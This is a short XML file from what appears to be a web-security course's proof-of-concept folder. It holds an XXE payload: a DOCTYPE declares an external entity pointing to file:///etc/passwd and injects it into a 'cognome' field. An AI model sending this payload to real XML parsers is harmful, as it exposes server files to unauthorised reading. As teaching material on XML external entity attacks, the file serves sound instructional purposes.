slide-web-security/poc/xxe/xxe.xml

<?xml version="1.0"?>
<!DOCTYPE utente [
<!ELEMENT nome ANY>
<!ELEMENT cognome ANY>
<!ENTITY comando SYSTEM "file:///etc/passwd">]>
<utente>
    <nome>Mario</nome>
    <cognome>Rossi &comando;</cognome>
</utente>